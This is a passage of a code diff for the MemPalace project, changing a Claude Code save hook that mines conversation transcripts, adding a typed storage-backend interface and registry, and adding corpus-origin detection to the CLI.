if is_valid_transcript_path "$TRANSCRIPT_PATH" && [ -f "$TRANSCRIPT_PATH" ]; then
mempalace mine "$(dirname "$TRANSCRIPT_PATH")" --mode convos \
>> "$STATE_DIR/hook.log" 2>&1
elif [ -n "$TRANSCRIPT_PATH" ]; then
echo "[$(date '+%H:%M:%S')] Skipping invalid transcript path: $TRANSCRIPT_PATH" \
>> "$STATE_DIR/hook.log"
fi
if [ -n "$MEMPAL_DIR" ] && [ -d "$MEMPAL_DIR" ]; then
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
REPO_DIR="$(dirname "$SCRIPT_DIR")"
python3 -m mempalace mine "$MEMPAL_DIR" >> "$STATE_DIR/hook.log" 2>&1
mempalace mine "$MEMPAL_DIR" --mode projects \
>> "$STATE_DIR/hook.log" 2>&1
fi
# Silent: return empty JSON to not block. "decision": "allow" is invalid —
+71 -26
View File
@@ -45,10 +45,10 @@
# stop_hook_active=true so we let it through. No infinite loop.
#
# === MEMPALACE CLI ===
# This repo uses: mempalace mine <dir>
# or: mempalace mine <dir> --mode convos
# Set MEMPAL_DIR below if you want the hook to auto-ingest after blocking.
# Leave blank to rely on the AI's own save instructions.
# The hook ALWAYS mines the active conversation transcript automatically
# (via `mempalace mine <transcript-dir> --mode convos`). MEMPAL_DIR is an
# *additional*, optional target for project files — it does not replace
# the conversation mine.
#
# === CONFIGURATION ===
@@ -56,18 +56,38 @@ SAVE_INTERVAL=15 # Save every N human messages (adjust to taste)
STATE_DIR="$HOME/.mempalace/hook_state"
mkdir -p "$STATE_DIR"
# Optional: set to the directory you want auto-ingested on each save trigger.
# Example: MEMPAL_DIR="$HOME/conversations"
# Leave empty to skip auto-ingest (AI handles saving via the block reason).
# Optional: project directory (code / notes / docs) to also mine each
# save trigger. Mined with `--mode projects`. The conversation transcript
# is always mined regardless — this is purely additive.
# Example: MEMPAL_DIR="$HOME/projects/my_app"
MEMPAL_DIR=""
# Resolve the Python interpreter the hook should use.
#
# Why this is nontrivial: GUI-launched Claude Code on macOS (or any harness
# that doesn't inherit the user's shell PATH) may find a `python3` on PATH
# that lacks mempalace — e.g. /usr/bin/python3 while the user installed
# mempalace into a venv or pyenv. Users in that situation can point the
# hook at the right interpreter by exporting MEMPAL_PYTHON.
#
# Resolution order (first hit wins):
# 1. $MEMPAL_PYTHON — explicit user override (absolute path)
# 2. $(command -v python3) — first python3 on the hook's PATH
# 3. bare "python3" — last-resort fallback (hope the PATH has it)
MEMPAL_PYTHON_BIN="${MEMPAL_PYTHON:-}"
if [ -z "$MEMPAL_PYTHON_BIN" ] || [ ! -x "$MEMPAL_PYTHON_BIN" ]; then
MEMPAL_PYTHON_BIN="$(command -v python3 2>/dev/null || echo python3)"
fi
# Read JSON input from stdin
INPUT=$(cat)
# Parse all fields in a single Python call (3x faster than separate invocations)
# SECURITY: All values are sanitized before being interpolated into shell assignments.
# stop_hook_active is coerced to a strict True/False to prevent command injection via eval.
eval $(echo "$INPUT" | python3 -c "
# without invoking ``eval`` on generated code: Python prints one sanitized
# value per line, the shell reads them via ``mapfile`` and does plain
# variable assignment — same data, smaller blast radius if the sanitizer
# is ever bypassed (#1231 review).
mapfile -t _mempal_parsed < <(echo "$INPUT" | "$MEMPAL_PYTHON_BIN" -c "
import sys, json, re
data = json.load(sys.stdin)
sid = data.get('session_id', 'unknown')
@@ -77,14 +97,36 @@ tp = data.get('transcript_path', '')
safe = lambda s: re.sub(r'[^a-zA-Z0-9_/.\-~]', '', str(s))
# Coerce stop_hook_active to strict boolean string
sha = 'True' if sha_raw is True or str(sha_raw).lower() in ('true', '1', 'yes') else 'False'
print(f'SESSION_ID=\"{safe(sid)}\"')
print(f'STOP_HOOK_ACTIVE=\"{sha}\"')
print(f'TRANSCRIPT_PATH=\"{safe(tp)}\"')
print(safe(sid))
print(sha)
print(safe(tp))
" 2>/dev/null)
SESSION_ID="${_mempal_parsed[0]:-unknown}"
STOP_HOOK_ACTIVE="${_mempal_parsed[1]:-False}"
TRANSCRIPT_PATH="${_mempal_parsed[2]:-}"
# Expand ~ in path
TRANSCRIPT_PATH="${TRANSCRIPT_PATH/#\~/$HOME}"
# Validate that TRANSCRIPT_PATH looks like a transcript file:
# - non-empty
# - .jsonl or .json suffix
# - no traversal segments (.. components)
# Mirrors mempalace.hooks_cli._validate_transcript_path so the shell hook
# rejects the same shapes the Python hook rejects (#1231 review).
is_valid_transcript_path() {
local path="$1"
[ -n "$path" ] || return 1
case "$path" in
*.json|*.jsonl) ;;
*) return 1 ;;
esac
case "/$path/" in
*/../*) return 1 ;;
esac
return 0
}
# If we're already in a save cycle, let the AI stop normally
# This is the infinite-loop prevention: block once → AI saves → tries to stop again → we let it through
if [ "$STOP_HOOK_ACTIVE" = "True" ] || [ "$STOP_HOOK_ACTIVE" = "true" ]; then
@@ -95,7 +137,7 @@ fi
# Count human messages in the JSONL transcript
# SECURITY: Pass transcript path as sys.argv to avoid shell injection via crafted paths
if [ -f "$TRANSCRIPT_PATH" ]; then
EXCHANGE_COUNT=$(python3 - "$TRANSCRIPT_PATH" <<'PYEOF'
EXCHANGE_COUNT=$("$MEMPAL_PYTHON_BIN" - "$TRANSCRIPT_PATH" <<'PYEOF'
import json, sys
count = 0
with open(sys.argv[1]) as f:
@@ -140,20 +182,23 @@ if [ "$SINCE_LAST" -ge "$SAVE_INTERVAL" ] && [ "$EXCHANGE_COUNT" -gt 0 ]; then
echo "[$(date '+%H:%M:%S')] TRIGGERING SAVE at exchange $EXCHANGE_COUNT" >> "$STATE_DIR/hook.log"
# Auto-mine the transcript. Two paths:
# 1. TRANSCRIPT_PATH (from Claude Code) — mine the directory it lives in
# 2. MEMPAL_DIR (user-configured) — mine that directory
# At least one should work. If neither is set, nothing mines.
PYTHON="$(command -v python3)"
MINE_DIR=""
if [ -n "$TRANSCRIPT_PATH" ] && [ -f "$TRANSCRIPT_PATH" ]; then
MINE_DIR="$(dirname "$TRANSCRIPT_PATH")"
# Auto-mine. Two independent targets — both run if both are set:
# 1. TRANSCRIPT_PATH (from Claude Code) → parent dir, --mode convos
# (Claude Code session JSONL — must use the convo miner)
# 2. MEMPAL_DIR (user-configured project) → --mode projects
# (code, notes, docs)
# MEMPAL_DIR is *additive*, not an override: a user with MEMPAL_DIR
# pointed at their project still gets the active conversation mined.
if is_valid_transcript_path "$TRANSCRIPT_PATH" && [ -f "$TRANSCRIPT_PATH" ]; then
mempalace mine "$(dirname "$TRANSCRIPT_PATH")" --mode convos \
>> "$STATE_DIR/hook.log" 2>&1 &
elif [ -n "$TRANSCRIPT_PATH" ]; then
echo "[$(date '+%H:%M:%S')] Skipping invalid transcript path: $TRANSCRIPT_PATH" \
>> "$STATE_DIR/hook.log"
fi
if [ -n "$MEMPAL_DIR" ] && [ -d "$MEMPAL_DIR" ]; then
MINE_DIR="$MEMPAL_DIR"
fi
if [ -n "$MINE_DIR" ]; then
"$PYTHON" -m mempalace mine "$MINE_DIR" >> "$STATE_DIR/hook.log" 2>&1 &
mempalace mine "$MEMPAL_DIR" --mode projects \
>> "$STATE_DIR/hook.log" 2>&1 &
fi
# MEMPAL_VERBOSE toggle:
+2116
View File
File diff suppressed because it is too large Load Diff
Binary file not shown.

After

Width:  |  Height:  |  Size: 680 KiB

+4 -4
View File
@@ -4,10 +4,10 @@ import logging
from .version import __version__ # noqa: E402
# ChromaDB 0.6.x ships a Posthog telemetry client whose capture() signature is
# incompatible with the bundled posthog library, producing noisy stderr warnings
# on every client operation ("Failed to send telemetry event … capture() takes
# 1 positional argument but 3 were given"). Silence just that logger.
# chromadb telemetry: posthog capture() was broken in 0.6.x causing noisy stderr
# warnings ("capture() takes 1 positional argument but 3 were given"). In 1.x the
# posthog client is a no-op stub, so this is now harmless — kept as a guard in
# case future chromadb versions re-introduce real telemetry calls.
logging.getLogger("chromadb.telemetry.product.posthog").setLevel(logging.CRITICAL)
# NOTE: the previous block set ``ORT_DISABLE_COREML=1`` on macOS arm64 as a
+61 -3
View File
@@ -1,6 +1,64 @@
"""Storage backend implementations for MemPalace."""
"""Storage backend implementations for MemPalace (RFC 001).
from .base import BaseCollection
Public surface:
* :class:`BaseCollection` — per-collection read/write contract.
* :class:`BaseBackend` — per-palace factory contract.
* :class:`PalaceRef` — value object identifying a palace for a backend.
* :class:`QueryResult` / :class:`GetResult` — typed read returns.
* Error classes: :class:`PalaceNotFoundError`, :class:`BackendClosedError`,
:class:`UnsupportedFilterError`, :class:`DimensionMismatchError`,
:class:`EmbedderIdentityMismatchError`.
* Registry: :func:`get_backend`, :func:`register`, :func:`available_backends`,
:func:`resolve_backend_for_palace`.
* In-tree Chroma default: :class:`ChromaBackend`, :class:`ChromaCollection`.
"""
from .base import (
BackendClosedError,
BackendError,
BaseBackend,
BaseCollection,
DimensionMismatchError,
EmbedderIdentityMismatchError,
GetResult,
HealthStatus,
PalaceNotFoundError,
PalaceRef,
QueryResult,
UnsupportedFilterError,
)
from .chroma import ChromaBackend, ChromaCollection
from .registry import (
available_backends,
get_backend,
get_backend_class,
register,
reset_backends,
resolve_backend_for_palace,
unregister,
)
__all__ = ["BaseCollection", "ChromaBackend", "ChromaCollection"]
__all__ = [
"BackendClosedError",
"BackendError",
"BaseBackend",
"BaseCollection",
"ChromaBackend",
"ChromaCollection",
"DimensionMismatchError",
"EmbedderIdentityMismatchError",
"GetResult",
"HealthStatus",
"PalaceNotFoundError",
"PalaceRef",
"QueryResult",
"UnsupportedFilterError",
"available_backends",
"get_backend",
"get_backend_class",
"register",
"reset_backends",
"resolve_backend_for_palace",
"unregister",
]
+348 -27
View File
@@ -1,49 +1,370 @@
"""Abstract collection interface for MemPalace storage backends."""
"""Storage backend contract for MemPalace (RFC 001).
This module defines the surface every storage backend must implement:
* ``BaseCollection`` — the per-collection read/write interface, kwargs-only.
* ``BaseBackend`` — the per-palace factory, addressed by ``PalaceRef``.
* ``QueryResult`` / ``GetResult`` — typed result dataclasses that replace the
Chroma dict shape as the canonical return type.
* Error classes + ``HealthStatus`` — uniform across backends.
This is the v1 cleanup from RFC 001 §10: full typed results, ``PalaceRef``,
registry-ready ABC. Embedder injection, maintenance hooks, and the full
conformance suite land in follow-up PRs.
"""
from abc import ABC, abstractmethod
from typing import Any, Dict, List, Optional
from dataclasses import dataclass
from typing import ClassVar, Optional
# ---------------------------------------------------------------------------
# Errors
# ---------------------------------------------------------------------------
class BackendError(Exception):
"""Base class for every storage-backend error raised by core."""
class PalaceNotFoundError(BackendError, FileNotFoundError):
"""Raised when ``get_collection(create=False)`` is called on a missing palace.
Subclass of ``FileNotFoundError`` so legacy callers that catch the latter
(pre-#413 seam) keep working unchanged.
"""
class BackendClosedError(BackendError):
"""Raised when a backend method is called after ``close()``."""
class UnsupportedFilterError(BackendError):
"""Raised when a where-clause uses an operator the backend does not implement.
Silent dropping of unknown operators is forbidden by spec (RFC 001 §1.4).
"""
class DimensionMismatchError(BackendError):
"""Raised when the embedding dimension on write does not match the collection."""
class EmbedderIdentityMismatchError(BackendError):
"""Raised when the stored embedder model name differs from the current one."""
# ---------------------------------------------------------------------------
# Value objects
# ---------------------------------------------------------------------------
@dataclass(frozen=True)
class PalaceRef:
"""A handle to a palace, consumed by backends.
``id`` is always present and is the key backends use to cache handles.
``local_path`` is populated for filesystem-rooted palaces.
``namespace`` is used by server-mode backends for tenant / prefix routing.
"""
id: str
local_path: Optional[str] = None
namespace: Optional[str] = None
@dataclass(frozen=True)
class HealthStatus:
ok: bool
detail: str = ""
@classmethod
def healthy(cls, detail: str = "") -> "HealthStatus":
return cls(ok=True, detail=detail)
@classmethod
def unhealthy(cls, detail: str) -> "HealthStatus":
return cls(ok=False, detail=detail)
_TYPED_RESULT_FIELDS = ("ids", "documents", "metadatas", "distances", "embeddings")
class _DictCompatMixin:
"""Transitional dict-protocol access for typed results.
RFC 001 §1.3 spec is attribute access (``result.ids``). The ``result["ids"]``
and ``result.get("ids")`` forms are retained as a migration shim for callers
that predate the typed interface and are scheduled for removal in a follow-
up cleanup. New code MUST use attribute access.
"""
def __getitem__(self, key: str):
if key in _TYPED_RESULT_FIELDS:
return getattr(self, key)
raise KeyError(key)
def get(self, key: str, default=None):
if key in _TYPED_RESULT_FIELDS:
val = getattr(self, key, default)
return default if val is None else val
return default
def __contains__(self, key: object) -> bool:
return key in _TYPED_RESULT_FIELDS and getattr(self, key, None) is not None
@dataclass(frozen=True)
class QueryResult(_DictCompatMixin):
"""Typed return from ``BaseCollection.query``.
Outer list dimension = number of query vectors / texts.
Inner list dimension = hits per query (may be zero).
Fields not in ``include=`` at the call site are populated with empty lists
of the correct outer shape (never ``None``), except ``embeddings`` which
is ``None`` when not requested.
"""
ids: list[list[str]]
documents: list[list[str]]
metadatas: list[list[dict]]
distances: list[list[float]]
embeddings: Optional[list[list[list[float]]]] = None
@classmethod
def empty(cls, num_queries: int = 1, embeddings_requested: bool = False) -> "QueryResult":
"""Construct an all-empty result preserving outer dimension.
When ``embeddings_requested`` is True, ``embeddings`` preserves the outer
query dimension with empty hit lists (matching the spec's rule that fields
requested via ``include=`` carry the outer shape even when empty). When
False, ``embeddings`` stays ``None`` to signal the field was not requested.
"""
empty_outer = [[] for _ in range(num_queries)]
return cls(
ids=[[] for _ in range(num_queries)],
documents=[[] for _ in range(num_queries)],
metadatas=[[] for _ in range(num_queries)],
distances=[[] for _ in range(num_queries)],
embeddings=empty_outer if embeddings_requested else None,
)
@dataclass(frozen=True)
class GetResult(_DictCompatMixin):
"""Typed return from ``BaseCollection.get``."""
ids: list[str]
documents: list[str]
metadatas: list[dict]
embeddings: Optional[list[list[float]]] = None
@classmethod
def empty(cls) -> "GetResult":
return cls(ids=[], documents=[], metadatas=[], embeddings=None)
# ---------------------------------------------------------------------------
# Collection contract
# ---------------------------------------------------------------------------
class BaseCollection(ABC):
"""Smallest collection contract the rest of MemPalace relies on."""
"""Per-collection read/write surface every backend must implement."""
@abstractmethod
def add(
self,
*,
documents: List[str],
ids: List[str],
metadatas: Optional[List[Dict[str, Any]]] = None,
) -> None:
raise NotImplementedError
documents: list[str],
ids: list[str],
metadatas: Optional[list[dict]] = None,
embeddings: Optional[list[list[float]]] = None,
) -> None: ...
@abstractmethod
def upsert(
self,
*,
documents: List[str],
ids: List[str],
metadatas: Optional[List[Dict[str, Any]]] = None,
documents: list[str],
ids: list[str],
metadatas: Optional[list[dict]] = None,
embeddings: Optional[list[list[float]]] = None,
) -> None: ...
@abstractmethod
def query(
self,
*,
query_texts: Optional[list[str]] = None,
query_embeddings: Optional[list[list[float]]] = None,
n_results: int = 10,
where: Optional[dict] = None,
where_document: Optional[dict] = None,
include: Optional[list[str]] = None,
) -> QueryResult: ...
@abstractmethod
def get(
self,
*,
ids: Optional[list[str]] = None,
where: Optional[dict] = None,
where_document: Optional[dict] = None,
limit: Optional[int] = None,
offset: Optional[int] = None,
include: Optional[list[str]] = None,
) -> GetResult: ...
@abstractmethod
def delete(
self,
*,
ids: Optional[list[str]] = None,
where: Optional[dict] = None,
) -> None: ...
@abstractmethod
def count(self) -> int: ...
# ------------------------------------------------------------------
# Optional methods with ABC defaults (spec §1.2)
# ------------------------------------------------------------------
def estimated_count(self) -> int:
return self.count()
def close(self) -> None:
return None
def health(self) -> HealthStatus:
return HealthStatus.healthy()
def update(
self,
*,
ids: list[str],
documents: Optional[list[str]] = None,
metadatas: Optional[list[dict]] = None,
embeddings: Optional[list[list[float]]] = None,
) -> None:
raise NotImplementedError
"""Default non-atomic update: get + merge + upsert.
Backends advertising ``supports_update`` MUST override with an atomic
single-round-trip implementation.
"""
if documents is None and metadatas is None and embeddings is None:
raise ValueError("update requires at least one of documents, metadatas, embeddings")
n = len(ids)
for label, value in (
("documents", documents),
("metadatas", metadatas),
("embeddings", embeddings),
):
if value is not None and len(value) != n:
raise ValueError(f"{label} length {len(value)} does not match ids length {n}")
existing = self.get(ids=ids, include=["documents", "metadatas"])
by_id = {
rid: (existing.documents[i], existing.metadatas[i])
for i, rid in enumerate(existing.ids)
}
merged_docs: list[str] = []
merged_metas: list[dict] = []
for i, rid in enumerate(ids):
prev_doc, prev_meta = by_id.get(rid, ("", {}))
merged_docs.append(documents[i] if documents is not None else prev_doc)
new_meta = dict(prev_meta or {})
if metadatas is not None:
new_meta.update(metadatas[i] or {})
merged_metas.append(new_meta)
self.upsert(
documents=merged_docs,
ids=list(ids),
metadatas=merged_metas,
embeddings=embeddings,
)
# ---------------------------------------------------------------------------
# Backend contract
# ---------------------------------------------------------------------------
class BaseBackend(ABC):
"""Long-lived factory serving many palaces (RFC 001 §2).
Instances are lightweight on construction — no I/O, no network. All
connection work is deferred to ``get_collection``. Instances are thread-
safe for concurrent ``get_collection`` calls across different palaces.
"""
name: ClassVar[str]
spec_version: ClassVar[str] = "1.0"
capabilities: ClassVar[frozenset[str]] = frozenset()
@abstractmethod
def update(self, **kwargs: Any) -> None:
"""Update existing records. Must raise if any ID is missing."""
raise NotImplementedError
def get_collection(
self,
*,
palace: PalaceRef,
collection_name: str,
create: bool = False,
options: Optional[dict] = None,
) -> BaseCollection: ...
@abstractmethod
def query(self, **kwargs: Any) -> Dict[str, Any]:
raise NotImplementedError
def close_palace(self, palace: PalaceRef) -> None:
"""Evict cached handles for a single palace. Default: no-op."""
return None
@abstractmethod
def get(self, **kwargs: Any) -> Dict[str, Any]:
raise NotImplementedError
def close(self) -> None:
"""Shut down the entire backend. Default: no-op."""
return None
@abstractmethod
def delete(self, **kwargs: Any) -> None:
raise NotImplementedError
def health(self, palace: Optional[PalaceRef] = None) -> HealthStatus:
return HealthStatus.healthy()
@abstractmethod
def count(self) -> int:
raise NotImplementedError
# Optional detection hint used by selection priority (RFC 001 §3.3 (4)):
@classmethod
def detect(cls, path: str) -> bool: # pragma: no cover - default hook
return False
# ---------------------------------------------------------------------------
# Adapter utilities
# ---------------------------------------------------------------------------
# Keys the Chroma ``include=`` parameter accepts.
_VALID_INCLUDE_KEYS = frozenset({"documents", "metadatas", "distances", "embeddings"})
@dataclass
class _IncludeSpec:
"""Resolve an ``include=`` parameter with spec-mandated defaults."""
documents: bool = True
metadatas: bool = True
distances: bool = True # only meaningful for query
embeddings: bool = False
@classmethod
def resolve(
cls, include: Optional[list[str]], *, default_distances: bool = True
) -> "_IncludeSpec":
if include is None:
return cls(
documents=True,
metadatas=True,
distances=default_distances,
embeddings=False,
)
keys = {k for k in include if k in _VALID_INCLUDE_KEYS}
return cls(
documents="documents" in keys,
metadatas="metadatas" in keys,
distances="distances" in keys,
embeddings="embeddings" in keys,
)
File diff suppressed because it is too large Load Diff
+189
View File
@@ -0,0 +1,189 @@
"""Backend registry + entry-point discovery (RFC 001 §3).
Third-party backends ship as installable packages that declare a
``mempalace.backends`` entry point::
# pyproject.toml of mempalace-postgres
[project.entry-points."mempalace.backends"]
postgres = "mempalace_postgres:PostgresBackend"
MemPalace discovers them at process start. In-tree tests and local development
can register manually via :func:`register`. Explicit registration wins on
name conflict (matches RFC 001 §3.2).
"""
from __future__ import annotations
import logging
from importlib import metadata
from threading import Lock
from typing import Optional, Type
from .base import BaseBackend
logger = logging.getLogger(__name__)
_ENTRY_POINT_GROUP = "mempalace.backends"
_registry: dict[str, Type[BaseBackend]] = {}
_instances: dict[str, BaseBackend] = {}
_explicit: set[str] = set()
_discovered = False
_lock = Lock()
def register(name: str, backend_cls: Type[BaseBackend]) -> None:
"""Register ``backend_cls`` under ``name``.
Explicit registration wins over entry-point discovery on conflict
(RFC 001 §3.2).
"""
with _lock:
_registry[name] = backend_cls
_explicit.add(name)
# Invalidate any cached instance so the new class is used on next get.
_instances.pop(name, None)
def unregister(name: str) -> None:
"""Remove a backend registration (primarily for tests)."""
with _lock:
_registry.pop(name, None)
_explicit.discard(name)
_instances.pop(name, None)
def _discover_entry_points() -> None:
"""Load entry-point-declared backends once per process."""
global _discovered
if _discovered:
return
with _lock:
if _discovered:
return
try:
eps = metadata.entry_points()
# Py ≥ 3.10 returns an EntryPoints object; older versions returned a dict.
group = (
eps.select(group=_ENTRY_POINT_GROUP)
if hasattr(eps, "select")
else eps.get(_ENTRY_POINT_GROUP, [])
)
except Exception:
logger.exception("entry-point discovery for %s failed", _ENTRY_POINT_GROUP)
group = []
for ep in group:
if ep.name in _explicit:
continue # explicit registration wins
try:
cls = ep.load()
except Exception:
logger.exception("failed to load backend entry point %r", ep.name)
continue
if not isinstance(cls, type) or not issubclass(cls, BaseBackend):
logger.warning(
"entry point %r did not resolve to a BaseBackend subclass (got %r)",
ep.name,
cls,
)
continue
_registry.setdefault(ep.name, cls)
_discovered = True
def available_backends() -> list[str]:
"""Return sorted list of all registered backend names."""
_discover_entry_points()
return sorted(_registry.keys())
def get_backend_class(name: str) -> Type[BaseBackend]:
"""Return the registered backend class for ``name``."""
_discover_entry_points()
try:
return _registry[name]
except KeyError as e:
raise KeyError(f"unknown backend {name!r}; available: {available_backends()}") from e
def get_backend(name: str) -> BaseBackend:
"""Return a long-lived instance of the named backend.
Instances are cached per-name; repeated calls return the same object.
Call :func:`reset_backends` in tests that need isolation.
"""
_discover_entry_points()
with _lock:
inst = _instances.get(name)
if inst is not None:
return inst
cls = _registry.get(name)
if cls is None:
raise KeyError(f"unknown backend {name!r}; available: {sorted(_registry.keys())}")
inst = cls()
_instances[name] = inst
return inst
def reset_backends() -> None:
"""Close and drop all cached backend instances (primarily for tests)."""
with _lock:
for inst in _instances.values():
try:
inst.close()
except Exception:
logger.exception("error closing backend during reset")
_instances.clear()
def resolve_backend_for_palace(
*,
explicit: Optional[str] = None,
config_value: Optional[str] = None,
env_value: Optional[str] = None,
palace_path: Optional[str] = None,
default: str = "chroma",
) -> str:
"""Resolve the backend name for a palace per RFC 001 §3.3 priority order.
1. Explicit kwarg / CLI flag
2. Per-palace config value
3. ``MEMPALACE_BACKEND`` env var
4. Auto-detect from on-disk artifacts (migration/upgrade path only)
5. Default (``chroma``)
Auto-detection is strictly a migration aid: it fires only when a local path
is presented, no earlier rule has chosen a backend, AND the path already
contains backend-identifiable artifacts. For new palaces, (5) wins.
"""
for candidate in (explicit, config_value, env_value):
if candidate:
return candidate
_discover_entry_points()
if palace_path:
for name, cls in _registry.items():
try:
if cls.detect(palace_path):
return name
except Exception:
logger.exception("detect() raised on backend %r", name)
continue
return default
# ---------------------------------------------------------------------------
# Built-in registration
# ---------------------------------------------------------------------------
def _register_builtins() -> None:
"""Register chroma as the in-tree default."""
from .chroma import ChromaBackend
# Use setdefault semantics so a caller that pre-registered for tests wins.
if "chroma" not in _registry:
_registry["chroma"] = ChromaBackend
_register_builtins()
+634 -25
View File
@@ -4,7 +4,7 @@ MemPalace — Give your AI a memory. No API key required.
Two ways to ingest:
Projects: mempalace mine ~/projects/my_app (code, docs, notes)
Conversations: mempalace mine ~/chats/ --mode convos (Claude, ChatGPT, Slack)
Conversations: mempalace mine <convo-dir> --mode convos (Claude Code, Claude.ai, ChatGPT, Slack exports)
Same palace. Same search. Different ingest strategies.
@@ -22,7 +22,7 @@ Commands:
Examples:
mempalace init ~/projects/my_app
mempalace mine ~/projects/my_app
mempalace mine ~/chats/claude-sessions --mode convos
mempalace mine ~/.claude/projects/-Users-you-Projects-my_app --mode convos --wing my_app
mempalace search "why did we switch to GraphQL"
mempalace search "pricing discussion" --wing my_app --room costs
"""
@@ -34,10 +34,168 @@ import argparse
from pathlib import Path
from .config import MempalaceConfig
from .corpus_origin import detect_origin_heuristic, detect_origin_llm
from .llm_client import LLMError, get_provider
from .version import __version__
_MEMPALACE_PROJECT_FILES = ("mempalace.yaml", "entities.json")
# Pass 0 corpus-origin sampling caps. Tier 1 reads FULL file content (no
# front-bias sampling) but bounds total memory on enormous corpora. Tier 2
# trims to a smaller view because LLM context windows are finite.
_PASS_ZERO_MAX_FILES = 30
_PASS_ZERO_PER_FILE_CAP = 100_000 # 100KB per file is generous for prose
_PASS_ZERO_TOTAL_CAP = 5_000_000 # 5MB total ceiling — bounds memory
_PASS_ZERO_LLM_PER_SAMPLE = 2_000 # for Tier 2 LLM call only
_PASS_ZERO_LLM_MAX_SAMPLES = 20 # caps the LLM-tier sample count
def _gather_origin_samples(project_dir) -> list:
"""Collect Tier-1 samples for corpus-origin detection.
Reads FULL file content (capped at ``_PASS_ZERO_PER_FILE_CAP`` per file
and ``_PASS_ZERO_TOTAL_CAP`` overall). No front-bias sampling — AI
signal that lives past the first N chars of a file must still trip
detection, so we read the whole file up to the cap.
Skips mempalace's own per-project artifacts (``entities.json``,
``mempalace.yaml``) so a re-run of ``mempalace init`` produces the
same classification result it did on the first run. Without this
filter, the first run writes entities.json into the corpus, the
second run picks it up as a sample, and the Tier-1 density math
drifts (different total_chars). That makes init non-idempotent.
Returns a list of strings (one per readable file). Empty list when
the project has no readable text.
"""
from .entity_detector import scan_for_detection
files = scan_for_detection(project_dir, max_files=_PASS_ZERO_MAX_FILES)
samples: list = []
total_chars = 0
for filepath in files:
if filepath.name in _MEMPALACE_PROJECT_FILES:
continue
if total_chars >= _PASS_ZERO_TOTAL_CAP:
break
try:
with open(filepath, encoding="utf-8", errors="replace") as f:
content = f.read(_PASS_ZERO_PER_FILE_CAP)
except OSError:
continue
if not content:
continue
samples.append(content)
total_chars += len(content)
return samples
def _trim_samples_for_llm(samples: list) -> list:
"""Reduce Tier-1 full-content samples to LLM-friendly size.
Tier 2 hits an LLM with a finite context window — we trim each sample
to ``_PASS_ZERO_LLM_PER_SAMPLE`` chars and cap the overall sample
count at ``_PASS_ZERO_LLM_MAX_SAMPLES``.
"""
return [s[:_PASS_ZERO_LLM_PER_SAMPLE] for s in samples[:_PASS_ZERO_LLM_MAX_SAMPLES]]
def _run_pass_zero(project_dir, palace_dir, llm_provider) -> dict:
"""Pass 0: detect whether the corpus is AI-dialogue and persist the
result to ``<palace>/.mempalace/origin.json``.
Returns the wrapped result dict (same shape as origin.json) on success,
or ``None`` when there are no readable samples to detect from. The
return value is what cmd_init forwards to ``discover_entities`` via
the ``corpus_origin`` kwarg.
File-write failures (e.g. read-only palace) are caught and reported on
stderr; init never blocks on them.
"""
import json
from datetime import datetime, timezone
from pathlib import Path
samples = _gather_origin_samples(project_dir)
if not samples:
print(" Skipping corpus-origin detection — no readable samples.")
return None
# Tier 1 — always runs. Cheap regex grep, no API.
result = detect_origin_heuristic(samples)
# Tier 2 — runs only when an LLM provider is available. The provider
# contract is best-effort: corpus_origin internally falls back to a
# conservative default on transport/parse failure, so we don't need a
# try/except here, but we still keep one for any unforeseen exception.
#
# MERGE-FIELDS, NOT REPLACE: Tier 2's persona/user/platform extraction
# is the whole reason to run it, but a weak local model (e.g. Ollama
# gemma4:e4b) can return a wrong likely_ai_dialogue/confidence call
# that overrides a confident heuristic answer. Per @igorls's review of
# PR #1211: keep the heuristic's likely_ai_dialogue + confidence
# (don't let a weak LLM flip a confident regex answer), and merge in
# LLM's persona-related fields + combined evidence.
if llm_provider is not None:
try:
llm_result = detect_origin_llm(_trim_samples_for_llm(samples), llm_provider)
# Heuristic owns: likely_ai_dialogue, confidence (do NOT touch).
# LLM contributes: primary_platform, user_name, agent_persona_names
# (heuristic doesn't extract any of these).
if llm_result.primary_platform:
result.primary_platform = llm_result.primary_platform
if llm_result.user_name:
result.user_name = llm_result.user_name
if llm_result.agent_persona_names:
result.agent_persona_names = list(llm_result.agent_persona_names)
# Combine evidence — keep both signal trails for the audit record,
# prefixed so the on-disk origin.json says which tier produced
# each entry. Idempotent: re-prefixing an already-tagged entry
# is a no-op.
tier1_prefix = "Tier-1 heuristic: "
tier2_prefix = "Tier-2 LLM: "
heuristic_evidence = [
s if s.startswith(tier1_prefix) else f"{tier1_prefix}{s}"
for s in (str(e) for e in result.evidence)
]
llm_evidence = [
s if s.startswith(tier2_prefix) else f"{tier2_prefix}{s}"
for s in (str(e) for e in llm_result.evidence)
]
result.evidence = heuristic_evidence + llm_evidence
except Exception as exc: # noqa: BLE001 — never block init on LLM failure
print(f" LLM corpus-origin tier failed ({exc}); using heuristic only.")
wrapped = {
"schema_version": 1,
"detected_at": datetime.now(timezone.utc).isoformat(),
"result": result.to_dict(),
}
origin_path = Path(palace_dir).expanduser() / ".mempalace" / "origin.json"
try:
origin_path.parent.mkdir(parents=True, exist_ok=True)
with open(origin_path, "w", encoding="utf-8") as f:
json.dump(wrapped, f, indent=2, ensure_ascii=False)
except OSError as exc:
print(f" Could not write {origin_path}: {exc}", file=sys.stderr)
# Return the wrapped dict anyway so the in-memory pipeline still
# benefits from the detection result this run.
return wrapped
# Banner — one line, two-space indent matching existing init style.
res = result
if res.likely_ai_dialogue:
platform = res.primary_platform or "AI dialogue (platform unidentified)"
user = res.user_name or "—"
agents = ", ".join(res.agent_persona_names) if res.agent_persona_names else "—"
print(f" Detected: {platform} (user: {user}, agents: {agents})")
else:
print(f" Corpus origin: not AI-dialogue (confidence: {res.confidence:.2f})")
return wrapped
def _ensure_mempalace_files_gitignored(project_dir) -> bool:
"""If project_dir is a git repo, ensure MemPalace's per-project files
@@ -70,7 +228,8 @@ def _ensure_mempalace_files_gitignored(project_dir) -> bool:
def cmd_init(args):
import json
from pathlib import Path
from .entity_detector import scan_for_detection, detect_entities, confirm_entities
from .entity_detector import confirm_entities
from .project_scanner import discover_entities
from .room_detector_local import detect_rooms_local
cfg = MempalaceConfig()
@@ -84,25 +243,131 @@ def cmd_init(args):
languages = cfg.entity_languages
languages_tuple = tuple(languages)
# Pass 1: auto-detect people and projects from file content
# --llm is ON by default. --no-llm is the explicit opt-out. Provider
# precedence is unchanged (Ollama localhost first, then openai-compat,
# then anthropic). Never block init on a missing LLM: when no provider
# responds, print a one-line message pointing at --no-llm and fall
# through to heuristics-only.
llm_provider = None
if not getattr(args, "no_llm", False):
